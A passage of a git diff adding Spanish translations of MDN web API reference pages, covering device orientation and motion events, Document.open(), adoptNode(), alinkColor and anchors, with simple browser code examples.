+<h3 id="Ejemplo_de_orientación">Ejemplo de orientación</h3>
+
+<p>Este ejemplo va a funcionar en cualquier nevegador que soporte el evento {{event("deviceorientation")}} y funcione en un dispositivo con capacidades de detectar la orientación.</p>
+
+<p>Imaginemos una pelota en un jardin:</p>
+
+<pre class="brush: html notranslate">&lt;div class="garden"&gt;
+  &lt;div class="ball"&gt;&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;pre class="output"&gt;&lt;/pre&gt;
+</pre>
+
+<p>Este jardin tiene 200 pixeles de ancho (Si, es uno pequeño), y la pelota esta en el centro:</p>
+
+<pre class="brush: css notranslate">.garden {
+  position: relative;
+  width : 200px;
+  height: 200px;
+  border: 5px solid #CCC;
+  border-radius: 10px;
+}
+
+.ball {
+  position: absolute;
+  top   : 90px;
+  left  : 90px;
+  width : 20px;
+  height: 20px;
+  background: green;
+  border-radius: 100%;
+}
+</pre>
+
+<p>Ahora, si nosotros movemos nuestro dispositivo, la pelota va a moverse acorde a este:</p>
+
+<pre class="brush: js notranslate">var ball   = document.querySelector('.ball');
+var garden = document.querySelector('.garden');
+var output = document.querySelector('.output');
+
+var maxX = garden.clientWidth  - ball.clientWidth;
+var maxY = garden.clientHeight - ball.clientHeight;
+
+function handleOrientation(event) {
+  var x = event.beta;  // In degree in the range [-180,180]
+  var y = event.gamma; // In degree in the range [-90,90]
+
+  output.innerHTML  = "beta : " + x + "\n";
+  output.innerHTML += "gamma: " + y + "\n";
+
+  // Because we don't want to have the device upside down
+  // We constrain the x value to the range [-90,90]
+  if (x &gt;  90) { x =  90};
+  if (x &lt; -90) { x = -90};
+
+  // To make computation easier we shift the range of
+  // x and y to [0,180]
+  x += 90;
+  y += 90;
+
+  // 10 is half the size of the ball
+  // It center the positioning point to the center of the ball
+  ball.style.top  = (maxX*x/180 - 10) + "px";
+  ball.style.left = (maxY*y/180 - 10) + "px";
+}
+
+window.addEventListener('deviceorientation', handleOrientation);
+</pre>
+
+<p>Aqui el resultado en vivo:</p>
+
+<div>{{ EmbedLiveSample('Orientation_example', '230', '260') }}</div>
+
+<div class="warning">
+<p><strong>Tener en cuenta:</strong> Chrome y Firefox no manejan los angulos de la misma forma, asi que en algunos ejes la dirección se invierte.</p>
+</div>
+
+<h2 id="Procesando_eventos_de_movimiento">Procesando eventos de movimiento</h2>
+
+<p>Eventos de movimiento son manejados de la misma manera que la orientación, con la excepción de que estos tienen sus propios nombres de evento: {{ event("devicemotion") }}</p>
+
+<pre class="brush: js notranslate">window.addEventListener("devicemotion", <em>handleMotion</em>, true);</pre>
+
+<p>Lo que realmente ha cambiado es la información proporcionada en {{ domxref("DeviceMotionEvent") }} objeto pasado como parametro de la función <em>HandleMotion.</em></p>
+
+<p>El evento de movimiento tiene cuatro propiedades:</p>
+
+<ul>
+ <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.rotationRate") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.interval") }}</li>
+</ul>
+
+<h3 id="Valores_de_movimiento_explicados">Valores de movimiento explicados</h3>
+
+<p>{{ domxref("DeviceMotionEvent") }} proporciona a los desarrolladores web información sobre la velocidad de los cambios de la posición y orientación del dispositivo. Los cambios son proporcionados por sus tres ejes (ver <a href="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">Datos de orientación y movimiento explicados</a> por más detalles).</p>
+
+<p>Para {{domxref("DeviceMotionEvent.acceleration","acceleration")}} y {{domxref("DeviceMotionEvent.accelerationIncludingGravity","accelerationIncludingGravity")}}, los ejes corresponden a lo siguiente:</p>
+
+<ul>
+ <li><code>x</code>: Representa el eje de oeste a este.</li>
+ <li><code>y</code>: Representa el eje de sur a norte.</li>
+ <li><code>z</code>: Representa el eje perpendicular al suelo.</li>
+</ul>
+
+<p>Para {{domxref("DeviceMotionEvent.rotationRate","rotationRate")}}, la situación es un poco diferente; la información corresponde a lo siguiente en cada caso:</p>
+
+<ul>
+ <li><code>alpha</code>: Representa la velocidad de rotación a lo largo del eje perpendicular a la pantalla ( teclado para desktop).</li>
+ <li><code>beta</code>: Representa la velocidad de rotación  a lo largo del eje que va de la izquierda a la derecha del plano de la pantalla (o teclado para desktop).</li>
+ <li><code>gamma</code>: Representa la velocidad de rotación  a lo largo del eje que va desde la parte inferior a la parte superrior del plano de la pantalla (o teclado para desktop).</li>
+</ul>
+
+<p>Finalmente, {{domxref("DeviceMotionEvent.interval","interval")}} representa el intervalo de tiempo, en milisegundos, en el que los datos han sido obtenidos del dispositivo.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td>7.0</td>
+   <td>3.6<sup>[1]</sup><br>
+    6</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td>3.0</td>
+   <td>3.6<sup>[1]</sup><br>
+    6</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/dorukeker/gyronorm.js">gyronorm.js</a> es un <em>polyfill</em> para normalizar los datos del acelerómetro y giroscopio en dispositivos móviles. Esto es útil para superar algunas de las diferencias en la compatibilidad del dispositivo con la orientación del dispositivo..</p>
+</div>
+
+<h3 id="Gecko_implementation_notes">Gecko implementation notes</h3>
+
+<ol>
+ <li>Firefox 3.6, 4, and 5 supported <a href="/en-US/DOM/MozOrientation" title="MozOrientation">mozOrientation </a>versus the standard {{domxref("DeviceOrientationEvent")}} event</li>
+</ol>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>The legacy <code><a href="/en-US/DOM/MozOrientation" title="en-US/DOM/MozOrientation">MozOrientation</a></code> event.</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using deviceorientation in 3D Transforms</a></li>
+ <li><a href="/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation" title="2D maze game with device orientation">Cyber Orb: 2D maze game with device orientation</a></li>
+</ul>
diff --git a/files/es/web/api/devicemotionevent/index.html b/files/es/web/api/devicemotionevent/index.html
new file mode 100644
index 0000000000..a8820d1173
--- /dev/null
+++ b/files/es/web/api/devicemotionevent/index.html
@@ -0,0 +1,73 @@
+---
+title: DeviceMotionEvent
+slug: Web/API/DeviceMotionEvent
+translation_of: Web/API/DeviceMotionEvent
+---
+<p>{{APIRef("Device Orientation Events")}}{{SeeCompatTable}}</p>
+
+<p>El evento <code>DeviceMotionEvent</code> proporciona a los desarrolladores información acerca de la velocidad de los cambios en la posición y orientación del dispositivo.</p>
+
+<div class="warning">
+<p><strong>Aviso:</strong> Acualmente, Firefox and Chrome no manejan las corrdenadas de la misma forma. Tenga en cuenta esto cuando lo use.</p>
+</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{DOMxRef("DeviceMotionEvent.DeviceMotionEvent()")}} {{Non-standard_Inline}}</dt>
+ <dd>Crea un nuevo <code>DeviceMotionEvent</code>.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{DOMxRef("DeviceMotionEvent.acceleration")}}{{ReadOnlyInline}}</dt>
+ <dd>Objeto que nos proporciona la aceleración del dispositivo en los ejes X, Y y Z. La aceleración está expresada en <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</dd>
+ <dt>{{DOMxRef("DeviceMotionEvent.accelerationIncludingGravity")}}{{ReadOnlyInline}}</dt>
+ <dd>Objeto que nos proporciona la aceleración del dispositivo en los ejes X, Y y Z con el efecto de la gravedad. La aceleración está expresada en <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</dd>
+ <dt>{{DOMxRef("DeviceMotionEvent.rotationRate")}}{{ReadOnlyInline}}</dt>
+ <dd>Objeto que nos proporciona los cambios en la orientación del dispositivo en los ejes alpha, beta y gamma. La velocidad de rotación se expresa en grados por segundo</dd>
+ <dt>{{DOMxRef("DeviceMotionEvent.interval")}}{{ReadOnlyInline}}</dt>
+ <dd>Número que representa el intervalo de tiempo, en milisegundos, en el que se obtienen los datos del dispositivo..</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">window.addEventListener('devicemotion', function(event) {
+  console.log(event.acceleration.x + ' m/s2');
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Device Orientation", "#devicemotionevent", "DeviceMotionEvent")}}</td>
+   <td>{{Spec2("Device Orientation")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compativilidad_con_los_navegadores">Compativilidad con los navegadores</h2>
+
+
+
+<p>{{Compat("api.DeviceMotionEvent")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Event("deviceorientation")}}</li>
+ <li>{{DOMxRef("DeviceOrientationEvent")}}</li>
+ <li>{{Event("devicemotion")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Detecting device orientation</a></li>
+ <li><a href="https://developer.mozilla.org/en/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+</ul>
diff --git a/files/es/web/api/document/abrir/index.html b/files/es/web/api/document/abrir/index.html
new file mode 100644
index 0000000000..13b541561d
--- /dev/null
+++ b/files/es/web/api/document/abrir/index.html
@@ -0,0 +1,109 @@
+---
+title: Document.open()
+slug: Web/API/Document/abrir
+translation_of: Web/API/Document/open
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <strong><code>Document.open()</code></strong> abre un documento para escritura (<a href="/en-US/docs/Web/API/Document/write" title="en/DOM/document.write">writing</a>)</p>
+
+<p>Esto viene con algunos efectos secundarios. Por ejemplo:</p>
+
+<ul>
+ <li>Todos las atenciones de eventos actualmente registrados en el documento, los nodos dentro del documento o la ventana del documento son eliminados.</li>
+ <li>Todos los nodos existentes se eliminan del documento.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">document.open();
+</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una instancia del objeto Document (<code>Document)</code>.</p>
+
+<h2 id="Example" name="Example">Ejemplos</h2>
+
+<p>El código simple a continuación abre el documento y reemplaza su contenido con un número de diferentes fragmentos HTML antes de cerrarlo nuevamente.</p>
+
+<pre class="notranslate">document.open();
+document.write("&lt;p&gt;Hola mundo!&lt;/p&gt;");
+document.write("&lt;p&gt;Soy un pez&lt;/p&gt;");
+document.write("&lt;p&gt;El numero es 42&lt;/p&gt;");
+document.close();</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<div class="blockIndicator note">
+<p>Traducción pendiente para el texto que sigue</p>
+</div>
+
+<p>An automatic <code>document.open()</code> call happens when {{domxref("document.write()")}} is called after the page has loaded.</p>
+
+<p>For years Firefox and Internet Explorer additionally erased all JavaScript variables, etc., in addition to removing all nodes. This is no longer the case.<span class="comment">document non-spec'ed parameters to document.open</span></p>
+
+<h3 id="Gecko-specific_notes">Gecko-specific notes</h3>
+
+<p>Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.</p>
+
+<p>Starting with Gecko 1.9.2, <code>document.open()</code> uses the <a href="/docs/Security_check_basics">principal</a> of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using <a class="internal" href="/en/wrappedJSObject"><code>wrappedJSObject</code></a>. See <a href="/en/Security_check_basics" title="en/Security check basics">Security check basics</a> for more about principals.</p>
+
+<h2 id="Example" name="Example">Three-argument document.open()</h2>
+
+<p>There is a lesser-known and little-used three-argument version of <code>document.open()</code> , which is an alias of {{domxref("Window.open()")}} (see its page for full details).</p>
+
+<p>This call, for example opens github.com in a new window, with its opener set to <code>null</code>:</p>
+
+<pre class="brush: js notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">document</span>.<span class="cm-property">open</span>(<span class="cm-string">'https://www.github.com'</span>,<span class="cm-string">''</span>, <span class="cm-string">'noopener=true'</span>)</span></span></span></pre>
+
+<h2 id="Two-argument_document.open"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Two-argument document.open()</span></span></span></h2>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Browsers used to support a two-argument <code>document.open()</code>, with the following signature:</span></span></span></p>
+
+<pre class="brush: js notranslate">document.open(<em>type</em>, <em>replace</em>)</pre>
+
+<p>Where <code>type</code> specified the MIME type of the data you are writing (e.g. <code>text/html</code>) and replace if set (i.e. a string of <code>"replace"</code>) specified that the history entry for the new document would replace the current history entry of the document being written to.</p>
+
+<p>This form is now obsolete; it won't throw an error, but instead just forwards to <code>document.open()</code> (i.e. is the equivalent of just running it with no arguments).  The history-replacement behavior now always happens.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.open")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document")}}</li>
+ <li>{{domxref("Window.open()")}}</li>
+</ul>
diff --git a/files/es/web/api/document/adoptnode/index.html b/files/es/web/api/document/adoptnode/index.html
new file mode 100644
index 0000000000..0a90679756
--- /dev/null
+++ b/files/es/web/api/document/adoptnode/index.html
@@ -0,0 +1,61 @@
+---
+title: Document.adoptNode()
+slug: Web/API/Document/adoptNode
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Referencia
+  - metodo
+translation_of: Web/API/Document/adoptNode
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><strong><code>Document.adoptNode()</code></strong> transfiere un {{Glossary("node/dom", "node")}} desde otro {{domxref("Document", "document", "", "1")}} al documento del método. El nodo adoptado y sus subnodos se eliminan del documento original (si lo hubiera), encuentra  y su {{domxref("Node.ownerDocument", "ownerDocument")}} se cambia por el documento actual. El nodo puede entoces ser insertado en el documento actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>document</em>.adoptNode(<em>externalNode</em>);
+</pre>
+
+<dl>
+ <dt><code>node</code></dt>
+ <dd>El nodo adoptado que ahora tiene este documento como su {{domxref("Node.ownerDocument", "ownerDocument")}}. El {{domxref("Node.parentNode", "parentNode")}} del nodo es <code>null</code>, esto se debe a que aún no a sido insertado en el árbol del documento. Tenga en cuenta que <code>node</code> y <code>externalNode</code> son el mismo objeto después de esta llamada.</dd>
+ <dt><code>externalNode</code></dt>
+ <dd>El nodo a ser adoptado desde otro documento.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var iframe = document.querySelector('iframe');
+var iframeImages = iframe.contentDocument.querySelectorAll('img');
+var newParent = document.getElementById('images');
+
+iframeImages.forEach(function(imgEl) {
+  newParent.appendChild(document.adoptNode(imgEl));
+});
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Los nodos de documentos externos deberían ser clonados utilizando {{domxref("document.importNode()")}} (o adoptado utilizando <code>document.adoptNode()</code>) antes de que puedan ser insertados en el documento actual. Para más incidencias sobre {{domxref("Node.ownerDocument")}}, vea el <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+<p>Firefox actualmente no obliga a cumplir esta regla (lo hizo un tiempo durante el desarrollo de Firefox 3, pero muchos sitios se rompían cuando esta regla era obligatoria). Animamos a los desarrolladores web a que corrijan su código para seguir esta regla con el fin de mejorar la compatibilidad futura.</p>
+
+<h2 id="Epecificación">Epecificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-adoptNode">DOM Level 3 Core: Document.adoptNode</a></li>
+</ul>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados .Si desea contribuir con los datos, por favor ingrese a  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envie una solicitud para adicionar los datos.</div>
+
+<p>{{Compat("api.Document.adoptNode")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("document.importNode")}}</li>
+</ul>
diff --git a/files/es/web/api/document/alinkcolor/index.html b/files/es/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..f270799c53
--- /dev/null
+++ b/files/es/web/api/document/alinkcolor/index.html
@@ -0,0 +1,36 @@
+---
+title: document.alinkColor
+slug: Web/API/Document/alinkColor
+translation_of: Web/API/Document/alinkColor
+---
+<p>{{APIRef("DOM")}}</p>
+
+<div class="warning">
+<p><strong>Desaprobado</strong></p>
+</div>
+
+<p>Devuelve o define el color que tendrán los vínculos activos en el cuerpo (elemento <code>body</code> del documento. Un vínculo está activo durante el tiempo entre los eventos <code>mousedown</code> (cuando se presiona el botón izquierdo del "mouse" sobre el vínculo) y <code>mouseup</code> (cuando se deja de presionar el vínculo al soltar el botón izquierdo del "mouse").</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval"><em>color</em> = document.alinkColor
+document.alinkColor =<em>color</em>
+</pre>
+
+<p><code>color</code> es un texto que deberá llevar el nombre del color en inglés(e.g., <code>"blue"</code>, <code>"darkblue"</code>, etc.) o el valor hexadecimal del color (e.g., <code>#0000FF</code>)</p>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>El valor por defecto de esta propiedad en Mozilla es rojo (<code>#ee0000</code> en hexadecimal).</p>
+
+<p><code>document.alinkColor</code> es obsoleto en <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. Una alternativa es el selector CSS {{ Cssxref(":active") }}.</p>
+
+<p>Otra alternativa es <code>document.body.aLink</code>, sin embargo éste es <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">desaprobado en HTML 4.01</a> a favor de la alternativa CSS.</p>
+
+<p><a href="es/Gecko">Gecko</a> soporta tanto <code>alinkColor</code>/<code>:active</code> como {{ Cssxref(":focus") }}. Internet Explorer 6 y 7 soportan <code>alinkColor</code>/<code>:active</code> sólo para <a href="es/HTML/Element/a"> vínculos de ancla (&lt;a&gt;) HTML</a> y el comportamiento es el mismo que <code>:focus</code> bajo Gecko. En IE (Internet Explorer) no hay soporte para <code>:focus</code>.</p>
+
+<h2 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h2>
+
+<p>DOM Nivel 0. No es parte de ningún estándar.</p>
+
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/alinkcolor.asp">MSDN: alinkColor property</a></p>
diff --git a/files/es/web/api/document/anchors/index.html b/files/es/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..fbcd8eea0e
--- /dev/null
+++ b/files/es/web/api/document/anchors/index.html
@@ -0,0 +1,95 @@
+---
+title: document.anchors
+slug: Web/API/Document/anchors
+tags:
+  - API
+  - Desaprobado
+  - Documento
+  - HTML DOM
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}}{{deprecated_header()}}</div>
+
+<div>La propiedad de solo lectura <strong><code>anchors</code></strong> de la interfaz {{domxref("Document")}} devuelve una lista de todas las anclas (anchors) del documento.</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>nodeList</em> = document.anchors;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una {{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<pre class="eval">if ( document.anchors.length &gt;= 5 ) {
+    dump("dump found too many anchors");
+    window.location = "http<span class="nowiki">:</span>//www.google.com";
+}
+</pre>
+
+<p>Lo siguiente es un ejemplo que puebla una Tabla de Contenido con cada ancla en la página:</p>
+
+<pre class="brush:html line-numbers language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Test<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="script token"><span class="language-javascript token">
+<span class="keyword token">function</span> <span class="function token">init</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> toc <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"toc"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> i<span class="punctuation token">,</span> li<span class="punctuation token">,</span> newAnchor<span class="punctuation token">;</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> document<span class="punctuation token">.</span>anchors<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    li <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"li"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    newAnchor <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'a'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    newAnchor<span class="punctuation token">.</span>href <span class="operator token">=</span> <span class="string token">"#"</span> <span class="operator token">+</span> document<span class="punctuation token">.</span>anchors<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>name<span class="punctuation token">;</span>
+    newAnchor<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> document<span class="punctuation token">.</span>anchors<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>text<span class="punctuation token">;</span>
+    li<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>newAnchor<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    toc<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>li<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>init()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>Title<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>contents<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Contents<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>toc<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>plants<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Plants<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ol</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Apples<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Oranges<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
